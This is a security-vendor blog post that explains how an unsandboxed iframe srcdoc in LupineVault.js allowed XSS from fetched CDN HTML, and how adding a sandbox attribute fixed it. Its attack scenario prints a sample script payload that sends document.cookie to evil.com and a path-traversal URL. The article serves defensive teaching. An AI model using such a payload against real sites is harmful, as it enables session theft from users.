Back to Blog
critical SEVERITY8 min read

How Unsandboxed iframe Content Injection happens in JavaScript and how to fix it

A critical vulnerability in `app-viewer/js/LupineVault.js` allowed attacker-controlled HTML fetched from an external CDN to execute scripts in the application's full origin context by injecting it directly into an iframe's `srcdoc` attribute without any sandbox restrictions. The fix adds a `sandbox` attribute to the iframe element, restricting what the injected content can do even if it contains malicious scripts. This prevents cross-site scripting and origin-context script execution that could

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This is an unsandboxed iframe content injection vulnerability (related to CWE-79, Cross-Site Scripting) in JavaScript, found in `app-viewer/js/LupineVault.js`. Fetched HTML from an external CDN was written directly into `viewerFrame.srcdoc` without restricting the iframe's capabilities, allowing injected scripts to execute in the parent page's origin context. The fix adds `viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock"` before the `srcdoc` assignment, which confines the iframe content and prevents it from accessing the parent origin, cookies, or local storage.

Vulnerability at a Glance

cweCWE-79
fixSet `viewerFrame.sandbox` to a restrictive permission set before assigning `srcdoc`, isolating injected content from the parent origin
riskAttacker-controlled HTML executes scripts in the application's origin context, enabling session theft, DOM manipulation, and data exfiltration
languageJavaScript
root causeFetched external HTML injected into `viewerFrame.srcdoc` with no `sandbox` attribute restricting iframe capabilities
vulnerabilityUnsandboxed iframe srcdoc HTML Injection (XSS)

How Unsandboxed iframe Content Injection Happens in JavaScript and How to Fix It

Introduction

The app-viewer/js/LupineVault.js file is responsible for loading game viewer content by fetching HTML from an external CDN based on a URL query parameter. It sounds straightforward — grab some HTML, display it in a frame — but a subtle omission in how that frame was configured turned this routine operation into a critical security vulnerability.

The problematic pattern was this: fetched HTML was assigned directly to viewerFrame.srcdoc without ever setting a sandbox attribute on the iframe. That single missing attribute meant any script embedded in the fetched HTML would execute in the full origin context of the application — with access to cookies, local storage, and the ability to manipulate the parent DOM.

This matters for any developer who uses iframes to display remotely fetched or user-influenced content. The srcdoc property is deceptively powerful: unlike a static src URL that a browser can reason about independently, srcdoc injects raw HTML markup directly into the iframe's document, making sandboxing not just a best practice but a necessity.


The Vulnerability Explained

What the Code Was Doing

Inside LupineVault.js, the application constructs a fetch URL using a gameName parameter taken from the URL query string. After fetching the HTML, it assigns the result to viewerFrame.srcdoc:

// VULNERABLE CODE (before fix)
processedHtml = htmlText;
viewerFrame.srcdoc = htmlText;  // Raw fetched HTML injected with no sandbox

While encodeURIComponent is applied to the gameName parameter before building the fetch URL, this only protects the URL construction step. It does nothing to sanitize the actual HTML content returned by the CDN. Once the fetch completes, htmlText — the raw response body — flows directly into srcdoc.

Why This Is Dangerous

An iframe without a sandbox attribute inherits the same origin as its parent page. This means:

  • Scripts in the injected HTML run as if they were part of the parent application.
  • They can read document.cookie and localStorage from the parent origin.
  • They can make authenticated requests using the user's session.
  • They can manipulate the parent DOM via window.parent.

The openNewTab handler compounded the issue further by writing raw fetched HTML using tab.document.write(html), which executes scripts in the opener's origin context — essentially the same problem in a second attack surface.

Concrete Attack Scenario

Consider an attacker who either:

  1. Controls the CDN path: If the CDN serving the game HTML is compromised, misconfigured, or allows user-uploaded content, the attacker serves a response containing <script>document.location='https://evil.com/?c='+document.cookie</script>.

  2. Crafts a malicious view parameter: If the URL routing or CDN path construction has any flexibility, an attacker crafts a URL like:
    https://app.example.com/viewer?gameName=../../malicious-path
    The encodeURIComponent call won't help here if the path traversal resolves server-side before the CDN responds.

In either case, when the victim loads the crafted URL, viewerFrame.srcdoc receives the malicious HTML, the embedded script runs with the application's full origin privileges, and the attacker exfiltrates session cookies or performs actions on behalf of the user.


The Fix

What Changed

The fix is a single line added in LupineVault.js, inserted before the srcdoc assignment:

  processedHtml = htmlText;
+ viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock";
  viewerFrame.srcdoc = htmlText;

Before vs. After

Before (vulnerable):

processedHtml = htmlText;
viewerFrame.srcdoc = htmlText;
// iframe has no sandbox — scripts run in parent origin context

After (fixed):

processedHtml = htmlText;
viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock";
viewerFrame.srcdoc = htmlText;
// iframe is sandboxed — scripts are isolated from parent origin

Why This Fix Works

The HTML sandbox attribute (and its JavaScript equivalent, the sandbox property) applies a set of restrictions to iframe content. Crucially, by default, a sandboxed iframe is treated as a unique origin — completely separate from the parent page. This means:

Capability Without Sandbox With Sandbox (this fix)
Access parent cookies ✅ Yes ❌ Blocked
Access parent localStorage ✅ Yes ❌ Blocked
Manipulate parent DOM ✅ Yes ❌ Blocked
Execute scripts ✅ Yes ✅ Allowed (allow-scripts)
Submit forms ✅ Yes ✅ Allowed (allow-forms)
Open popups ✅ Yes ✅ Allowed (allow-popups)
Same-origin access ✅ Yes ❌ Blocked (not in list)

The key permission not included in the fix is allow-same-origin. Including that would restore the parent-origin relationship and largely defeat the purpose of sandboxing. By omitting it, the fix ensures that even if the fetched HTML contains malicious scripts, those scripts are confined to the iframe's isolated origin and cannot touch the parent application's data.

The permissions that are included (allow-scripts, allow-forms, allow-popups, allow-pointer-lock) preserve the legitimate functionality of the game viewer content — games need to run scripts, handle input, and potentially open tabs — while eliminating the privilege escalation path.


Key Takeaways

  • viewerFrame.srcdoc without a sandbox attribute is a script execution sink — any HTML assigned to it runs with the parent page's full origin privileges.
  • encodeURIComponent() on the fetch URL does not sanitize the fetched response — these are two separate data flows, and protecting one does nothing for the other.
  • The sandbox fix works because it removes allow-same-origin — the iframe gets a unique, isolated origin, so even scripts that execute cannot access the parent application's cookies or DOM.
  • document.write(html) in a new tab is the same class of vulnerability — writing externally fetched HTML into any document context without isolation is dangerous.
  • One line of code eliminated a critical attack surface — viewerFrame.sandbox = "..." before the srcdoc assignment is all it took to contain the threat.

How Orbis AppSec Detected This

  • Source: The gameName URL query parameter, used to construct a CDN fetch URL in LupineVault.js
  • Sink: viewerFrame.srcdoc = htmlText — assignment of raw fetched HTML to an unsandboxed iframe's srcdoc property
  • Missing control: No sandbox attribute on the iframe element; no HTML sanitization of the fetched response body before injection
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
  • Fix: Added viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock" immediately before the srcdoc assignment, isolating the iframe content in a unique origin and preventing parent-context script execution.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in LupineVault.js is a textbook example of how a single missing attribute can turn a routine display operation into a critical security hole. Fetching HTML and displaying it in an iframe is a common, legitimate pattern — but without the sandbox attribute, the iframe is not really a container at all. It's a direct execution environment with full access to the parent application's origin.

The fix demonstrates that security improvements don't always require architectural overhauls. A single property assignment — viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock" — transforms the iframe from an open execution context into a properly isolated container. The game viewer continues to function exactly as intended, but the blast radius of any malicious content it might display is now contained.

For developers working with iframes, the rule is simple: if you didn't write the HTML yourself, sandbox the frame that displays it. Treat srcdoc and innerHTML as sinks that demand the same scrutiny you'd give a eval() call or a shell command.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13

Related Articles

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.